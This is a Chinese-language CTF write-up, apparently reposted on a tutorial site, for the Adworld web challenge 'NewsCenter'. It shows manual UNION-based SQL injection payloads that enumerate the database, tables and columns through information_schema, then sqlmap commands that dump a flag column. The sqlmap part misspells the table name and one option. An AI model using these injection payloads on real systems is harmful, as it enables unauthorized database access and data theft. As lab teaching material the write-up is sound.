C/C++教程

ctf-攻防世界-web:NewsCenter

本文主要是介绍ctf-攻防世界-web:NewsCenter,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

打开环境,功能点只有一个查找新闻,猜测是sql注入

 

一.手工注入

 从最基础的联合查询注入开始

1正常     1'报错    1' '正常      

猜测为字符型注入,单引号闭合

1' order by 1,2,3 ;' 正常        1' order by 1,2,3,4 ;'报错

可见一共3列 (;将前后语句分开,'闭合后面的语句,也可以用#注释掉后面的语句)

1' union select 1,2,3;'       

 页面显示2和3,则2和3为显示位

 

1' union select 1,database(),3 ;'        

查询数据库名,结果为news

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news';'      

查询表名,有两个表

1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name="secret_table" ;'

查询secret_table表里的列名,有两个

1' union select 1, fl4g,3 from secret_table;'

查询fl4g里面的字段,出现flag

 

二.sqlmap

搜索框中填入内容,如‘1’,回车搜索抓包,将抓到包的内容保存在txt文档里

使用sqlmap的-r进行注入如下,其中C:\Users\xxx\Desktop\1.txt为保存数据包的txt文件绝对路径

#查找数据库
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" --dbs

#或查找当前数据库
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" --current-dbs

#查找news数据库中的表
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" -D news --tables

 

 #查找secret_table表中的列
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" -D news -T serect_table --columns

 

#查找fl4g列中的字段(内容),出现flag
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" -D news -T serect_table -C fl4g --dump

 

这篇关于ctf-攻防世界-web:NewsCenter的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!